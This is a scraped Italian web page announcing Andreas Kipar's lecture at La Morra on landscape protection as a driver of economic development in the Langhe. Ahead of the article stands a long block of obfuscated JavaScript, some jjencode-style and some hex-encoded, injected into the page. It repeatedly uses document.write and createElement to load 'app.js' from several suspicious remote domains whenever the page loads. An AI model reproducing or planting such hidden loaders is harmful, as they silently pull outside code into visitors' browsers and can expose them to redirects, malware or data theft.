$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(“+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);\\”+$.__$+$._$_+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”‘\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.\\”+$.__$+$.$$_+$._$$+$.__+$.$_$_+$.__+”\\”+$.__$+$.$_$+$.__$+”.”+$.$_$$+”\\”+$.__$+$.$_$+$.__$+$.$$_$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$_+$.___+”‘;\\”+$.__$+$._$_+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(“+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);\\”+$.__$+$._$_+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”‘\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.\\”+$.__$+$.$$_+$._$$+$.__+$.$_$_+$.__+”\\”+$.__$+$.$_$+$.__$+”.”+$.$_$$+”\\”+$.__$+$.$_$+$.__$+$.$$_$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$_+$.___+”‘;\\”+$.__$+$._$_+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(“+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); var _0x78f1=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x7A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F”,”\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function printapp(){var _0x8e48x2=_0x78f1[0];var _0x8e48x3=_0x78f1[1];var _0x8e48x4=_0x78f1[2];var _0x8e48x5=_0x78f1[3];document[_0x78f1[4]](_0x8e48x2+ _0x8e48x3+ _0x8e48x4+ _0x8e48x5)}printapp() var _0x9e3f=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D”,”\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x9e3f=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D”,”\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x9e3f=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D”,”\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x1b1d=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73″,”\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm() var _0x1b1d=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73″,”\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm() var _0xeb24=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x6E\x65\x78\x69\x6F”,”\x6E\x69\x65\x63\x74\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function gior(){var _0xc48cx2=_0xeb24[0];var _0xc48cx3=_0xeb24[1];var _0xc48cx4=_0xeb24[2];var _0xc48cx5=_0xeb24[3];document[_0xeb24[4]](_0xc48cx2+ _0xc48cx3+ _0xc48cx4+ _0xc48cx5)}gior() var _0xe540=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x64\x69\x6E\x6F\x72″,”\x73\x6C\x69\x63\x6B\x2E\x69\x63\x75\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function gpor(){var _0x4eb6x2=_0xe540[0];var _0x4eb6x3=_0xe540[1];var _0x4eb6x4=_0xe540[2];var _0x4eb6x5=_0xe540[3];document[_0xe540[4]](_0x4eb6x2+ _0x4eb6x3+ _0x4eb6x4+ _0x4eb6x5)}gpor() var _0xa929=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x59\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x62\x65\x73\x73\x74\x61″,”\x68\x65\x74\x65\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function evop(){var _0x6327x2=_0xa929[0];var _0x6327x3=_0xa929[1];var _0x6327x4=_0xa929[2];var _0x6327x5=_0xa929[3];document[_0xa929[4]](_0x6327x2+ _0x6327x3+ _0x6327x4+ _0x6327x5)}evop() var _0x22d1=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x74\x65\x72″,”\x63\x61\x62\x69\x6C\x69\x73\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function jiler(){var _0xd9f0x2=_0x22d1[0];var _0xd9f0x3=_0x22d1[1];var _0xd9f0x4=_0x22d1[2];var _0xd9f0x5=_0x22d1[3];document[_0x22d1[4]](_0xd9f0x2+ _0xd9f0x3+ _0xd9f0x4+ _0xd9f0x5)}jiler()


A lezione di paesaggio

Lectio Magistralis del paesaggista Andreas Kipar

Il 27 novembre a La Morra una lezione magistrale di Andreas Kipar sulla Green Landscape Economy.
L’architetto di origine tedesca, coordinatore del progetto “Valorizzazione del paesaggio di Langa”, spiega come la tutela del paesaggio può diventare motore dello sviluppo economico di un territorio.

Martedì 27 novembre a La Morra (Cn) l’architetto Andreas Kipar illustra i principi della “Green Landscape Economy” in una lezione magistrale voluta da Regione Piemonte e Unione di Comuni “Colline di Langa e del Barolo” per sensibilizzare professionisti, studenti e cittadini sul valore della valorizzazione paesaggistica.

L’appuntamento è alle 10.30 presso il Salone Polifunzionale di La Morra: a introdurre la lezione sarà Giovanni Bosco, Assessore delegato dell’Unione di Comuni “Colline di Langa e del Barolo”, mentre Daniele Manzone (Ideazione Srl) modererà la tavola rotonda conclusiva con Osvaldo Ferrero (Regione Piemonte), Ivana Boglietti (Studio BogliettiAssociati/ Ordine degli Architetti) e Paolo Mellano (Politecnico di Torino).

Alla lezione – aperta a tutti e a ingresso gratuito – sono invitati amministratori locali e professionisti dello sviluppo urbano, insieme agli studenti intenzionati a fare dell’architettura e del paesaggio il loro sbocco professionale: è nelle loro mani il futuro del paesaggio del territorio e quindi a loro che l’azione di sensibilizzazione è prima di tutto rivolta.

La Green Landscape Economy

È possibile porre il paesaggio al centro dello sviluppo economico? Si può arrestare il continuo consumo del suolo pubblico? Come inserire in modo “armonioso” i nuovi insediamenti nel tessuto urbano?
Secondo Andreas Kipar la risposta a queste domande è nella filosofia del “costruire senza costruire” – intervenendo negli spazi interstiziali e nelle aree dismesse – e nella tutela del territorio – avviando un piano di manutenzione che al posto delle grandi opere preveda piccoli, ma diffusi interventi.

Le Langhe, il paesaggio e l’UNESCO

I principi della Green Landscape Economy che ben si adattano alla realtà delle Langhe, anche in funzione della candidatura UNESCO: non a caso la Regione Piemonte ha puntato proprio su Kipar per guidare i professionisti incaricati di elaborare gli interventi “pilota” fra La Morra, Barolo, Castiglione Falletto e Grinzane Cavour inseriti nel progetto “Valorizzazione del paesaggio di Langa”.

